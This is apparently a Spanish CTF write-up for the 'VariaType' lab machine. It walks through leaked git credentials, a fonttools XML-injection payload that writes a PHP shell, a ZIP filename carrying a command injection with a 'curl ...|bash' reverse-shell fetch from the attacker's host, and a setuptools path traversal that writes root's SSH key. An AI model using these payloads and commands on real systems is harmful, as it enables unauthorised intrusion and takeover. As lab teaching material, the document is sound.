VariaType permite la creacion de Variable Fonts en el sitio con fonttools, esta ultima es vulnerable a Arbirary File Write e Inyeccion XML. Tambien, se descubrio un subdominio que aloja y expone un repositorio con credenciales para un portal, se identifico un Path Traversal. La explotacion permitio acceso inicial. Se descubrio un backup de script Python con la libreria fontforge vulnerable, la explotacion permitio acceso a un nuevo usuario. Finalmente se escalaron privilegios a traves de una vulnerabilidad en la libreria de setuptools de Python.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Thu Mar 19 22:57:01 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.255.105Nmap scan report for 10.129.255.105
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)| ssh-hostkey:
|256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)80/tcp open http nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 19 22:57:16 2026 -- 1 IP address (1 host up) scanned in 14.56 seconds
Agregamos a nuestro archivo /etc/hosts el dominio variatype.htb.
❯ git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:57:57 2025 -0500
feat: initial portal implementation
❯ git status
On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage) modified: auth.php
❯ cat auth.php
<?php
session_start();$USERS=[];❯
Uno de los commits muestra credenciales: gitbot : G1tB0t_Acc3ss_2025!.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ git show 753b5f5957
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
diff --git a/auth.php b/auth.php
index 615e621..b328305 100644--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
<?php
session_start();-$USERS=[];+$USERS=[+ 'gitbot'=> 'G1tB0t_Acc3ss_2025!'+];❯
Las credenciales permiten el acceso al portal, este indica las fuentes creadas por el sitio web en el dominio.
User - www-data
CVE-2025-66034
Para generar una ‘variable font’ se necesita un archivo .designspace junto con archivos de fuente .ttf .otf. Este es un archivo de “configuraciones” para una familia de fuentes. fonttools, herramienta utilizada por el sitio, permite generar este tipo de archivos. Especificamente este archivo, en esta ’libreria’, tiene una vulnerabilidad que permite la escritura de archivos de forma arbitraria a traves de Inyeccion XML (Arbitrary File Write and XML injection in fontTools.varLib) que puede escalar a RCE.
En el PoC se especifica el contenido y el archivo a escribir.
Tras ejecutar el archivo setup.py este genera dos fuentes.
1
2
3
4
5
6
7
❯ python setup.py
❯ ll
.rw-rw-r-- kali kali 813 B Thu Mar 19 23:22:21 2026 mal.designspace
.rw-rw-r-- kali kali 953 B Thu Mar 19 23:21:59 2026 setup.py
.rw-rw-r-- kali kali 600 B Thu Mar 19 23:22:27 2026 source-light.ttf
.rw-rw-r-- kali kali 600 B Thu Mar 19 23:22:27 2026 source-regular.ttf
❯
Enviamos el PoC junto con las dos fuentes, muestra que la ‘variable font’ esta completa.
file muestra que es un archivo TrueType Font data.
La opcion View permite visualizar informacion del archivo. Download descarga el archivo almacenado en este mismo subdominio.
En ninguna parte encontramos el archivo output.ttf el cual tendria la ejecucion de touch, posiblemente este siendo creado en un lugar diferente no accesible via web. Para crear y acceder a este archivo debemos crearlo en un directorio accesible via web.
Path Traversal
En el portal es posible la descarga de archivos, generamos un wordlist con dotdotpwn.
El segundo es para el subdominio, el portal, en este se indica la raiz del directorio. Ademas, se indica /files/ donde es posible acceder a archivos conociendo unicamente el nombre.
Con la informacion de nginx logramos encontrar una direccion accesible via web donde podemos realizar la escritura de un archivo a traves de la vulnerabilidad en fonttools.
1
/var/www/portal.variatype.htb/public/files/
Editamos el PoC donde indicamos la ejecucion de whoami dentro de /files/whoami.php.
<?xml version='1.0' encoding='UTF-8'?><designspaceformat="5.0"><axes><!-- XML injection occurs in labelname elements with CDATA sections --><axistag="wght"name="Weight"minimum="100"maximum="900"default="400"><labelnamexml:lang="en"><![CDATA[<?php echo(shell_exec("whoami"));?>]]]]><![CDATA[>]]></labelname><labelnamexml:lang="fr">MEOW2</labelname></axis></axes><axistag="wght"name="Weight"minimum="100"maximum="900"default="400"/><sources><sourcefilename="source-light.ttf"name="Light"><location><dimensionname="Weight"xvalue="100"/></location></source><sourcefilename="source-regular.ttf"name="Regular"><location><dimensionname="Weight"xvalue="400"/></location></source></sources><variable-fonts><variable-fontname="MyFont"filename="/var/www/portal.variatype.htb/public/files/whoami.php"><axis-subsets><axis-subsetname="Weight"/></axis-subsets></variable-font></variable-fonts><instances><instancename="Display Thin"familyname="MyFont"stylename="Thin"><location><dimensionname="Weight"xvalue="100"/></location><labelnamexml:lang="en">Display Thin</labelname></instance></instances></designspace>
Tras subir el archivo vemos que se lista whoami.php, esto indicaria que los archivos listados son los que se encuentran en /files/.
Tambien, observamos que se ejecuto el comando.
Shell
Ejecutamos shells, editamos el poc para la ejecucion de una shell inversa.
En el directorio /opt encontramos dos directorios y un archivo. variatype contiene el codigo fuente del sitio en el dominio. process_client_submissions.bak aparentemente es un backup de un script que maneja los archivos fuente del portal. font-tools contiene un script y directorio para la instalacion de plugins.
1
2
3
4
5
6
7
8
9
10
$ pwd/opt
$ ls -lah
total 20K
drwxr-xr-x 4 root root 4.0K Mar 9 08:29 .
drwxr-xr-x 18 root root 4.0K Mar 9 08:29 ..
drwxr-xr-x 3 root root 4.0K Mar 9 08:29 font-tools
-rwxr-xr-- 1 steve steve 2.0K Feb 26 07:50 process_client_submissions.bak
drwxr-xr-x 4 variatype variatype 4.0K Mar 9 08:29 variatype
$
Command Injection - fontforge
En process_client_submissions.bak encontramos que utiliza codigo python con la libreria fontforge para obtener informacion del archivo procesado.
Con un script en python creamos un archivo ZIP dentro de este, un archivo en donde indicamos la ejecucion de whoami en el nombre.
1
2
3
4
5
6
7
8
9
10
importzipfileimportiofile="font.zip"cmd_file="test;whoami > /dev/shm/whoami;.ttf"withzipfile.ZipFile(file,'w')aspzip:pzip.writestr(cmd_file,"dummydataaaaaaaaaaaaaaaaaaaaa")print(f"Created {file} with command {cmd_file}.")
Se creo el archivo con el comando.
1
2
3
4
5
❯ python poc.py
Created font.zip with command test;whoami > /dev/shm/whoami;.ttf.
❯ ll font.zip
.rw-rw-r-- kali kali 181 B Fri Mar 20 03:49:00 2026 font.zip
❯
Lo agregamos al directorio /var/www/portal.variatype.htb/public/files al cual tenemos acceso.
1
2
3
4
5
6
7
8
$ ls -lah
total 20K
drwxrwsr-x 2 www-data www-data 4.0K Mar 20 05:55 .
drwxrwxr-x 4 root www-data 4.0K Mar 9 08:29 ..
-rw-r--r-- 1 www-data www-data 181 Mar 20 05:35 font.zip
-rw-r--r-- 1 variatype www-data 1.1K Mar 20 04:14 variabype_-iAnQx7OmxM.ttf
-rw-r--r-- 1 variatype www-data 1.1K Mar 20 04:36 whoami.php
$
Luego de varios segundos observamos en pspy la ejecucion de nuestro comando.
$ ls -lah /dev/shm/whoami
-rw-r--r-- 1 steve steve 6 Mar 20 05:56 /dev/shm/whoami
$ cat /dev/shm/whoami
steve
$
Modificamos el nombre del archivo para ejecucion de una shell inversa.
1
2
3
❯ python poc.py
Created font.zip with command test;curl 10.10.14.10:8000/10.10.14.10:1336|bash;.ttf.
❯
Logrando obtener una shell como steve y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -lvp 1336listening on [any]1336 ...
connect to [10.10.14.10] from variatype.htb [10.129.255.115]57482/bin/sh: 0: can't access tty; job control turned off
$ whoami;id
steve
uid=1000(steve)gid=1000(steve)groups=1000(steve)$ cd$ cat user.txt
85e0dbaa6cd9a532d1c2f5c5b04ddb46
$
Privesc
Steve puede ejecutar como root el script install_validator.py.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo -l -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User steve may run the following commands on variatype:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/bin/python3 /opt/font-tools/install_validator.py *
$
El script realiza la descarga del plugin de una url dada en /opt/font-tools/validators.
#!/usr/bin/env python3"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""importosimportsysimportreimportloggingfromurllib.parseimporturlparsefromsetuptools.package_indeximportPackageIndex# ConfigurationPLUGIN_DIR="/opt/font-tools/validators"LOG_FILE="/var/log/font-validator-install.log"# Set up loggingos.makedirs(os.path.dirname(LOG_FILE),exist_ok=True)logging.basicConfig(level=logging.INFO,format='%(asctime)s [%(levelname)s] %(message)s',handlers=[logging.FileHandler(LOG_FILE),logging.StreamHandler(sys.stdout)])defis_valid_url(url):try:result=urlparse(url)returnall([result.schemein('http','https'),result.netloc])exceptException:returnFalsedefinstall_validator_plugin(plugin_url):ifnotos.path.exists(PLUGIN_DIR):os.makedirs(PLUGIN_DIR,mode=0o755)logging.info(f"Attempting to install plugin from: {plugin_url}")index=PackageIndex()try:downloaded_path=index.download(plugin_url,PLUGIN_DIR)logging.info(f"Plugin installed at: {downloaded_path}")print("[+] Plugin installed successfully.")exceptExceptionase:logging.error(f"Failed to install plugin: {e}")print(f"[-] Error: {e}")sys.exit(1)defmain():iflen(sys.argv)!=2:print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")sys.exit(1)plugin_url=sys.argv[1]ifnotis_valid_url(plugin_url):print("[-] Invalid URL. Must start with http:// or https://")sys.exit(1)ifplugin_url.count('/')>10:print("[-] Suspiciously long URL. Aborting.")sys.exit(1)install_validator_plugin(plugin_url)if__name__=="__main__":ifos.geteuid()!=0:print("[-] This script must be run as root (use sudo).")sys.exit(1)main()
setuptools - Path Traversal
El script hace uso de PackageIndex de la libreria setuptools.
Para esta version 78.1.0 existe la vulnerabilidad Path Traversal (CVE-2025-47273) que permite escribir archivos de forma arbitraria. Dadas ciertas circunstancias podria escalar a RCE.
steve@variatype:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/steve/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/steve/.ssh/id_rsa
Your public key has been saved in /home/steve/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:y+2Hx+ODT89rex26VW6CscupKFdHoiXneXeiCkIvYjE steve@variatype
The key's randomart image is:
+---[RSA 3072]----+
||||||| . + . || E . S* +. .|| + o.o+ o+ooo|| o o=..*+oo+=|| . ..o.+ooB*ooo|| o. +B*=*+ |+----[SHA256]-----+
steve@variatype:~$
En kali creamos el directorio root/.ssh en donde escribimos el archivo authorized_keys con el contenido de la clave publica de steve (id_rsa.pub).
1
2
3
4
❯ mkdir -p root/.ssh
❯ nano root/.ssh/authorized_keys
❯ python -m http.server 8181Serving HTTP on 0.0.0.0 port 8181(http://0.0.0.0:8181/) ...
Ejecutamos el script con sudo especificando el archivo authorized_keys dentro del directorio de root. Este muestra que realizo la instalacion o escritura del archivo.
steve@variatype:~$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:0Wqe+nNeYlUwY+F669ywmS9kPUMYXqJh5xxCxwyCapI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added 'localhost'(ED25519) to the list of known hosts.
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 20 06:29:32 2026 from 127.0.0.1
root@variatype:~# whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root
root@variatype:~# cat root.txt
cat root.txt
88cab92c197f15e96588384fcffc7113
root@variatype:~#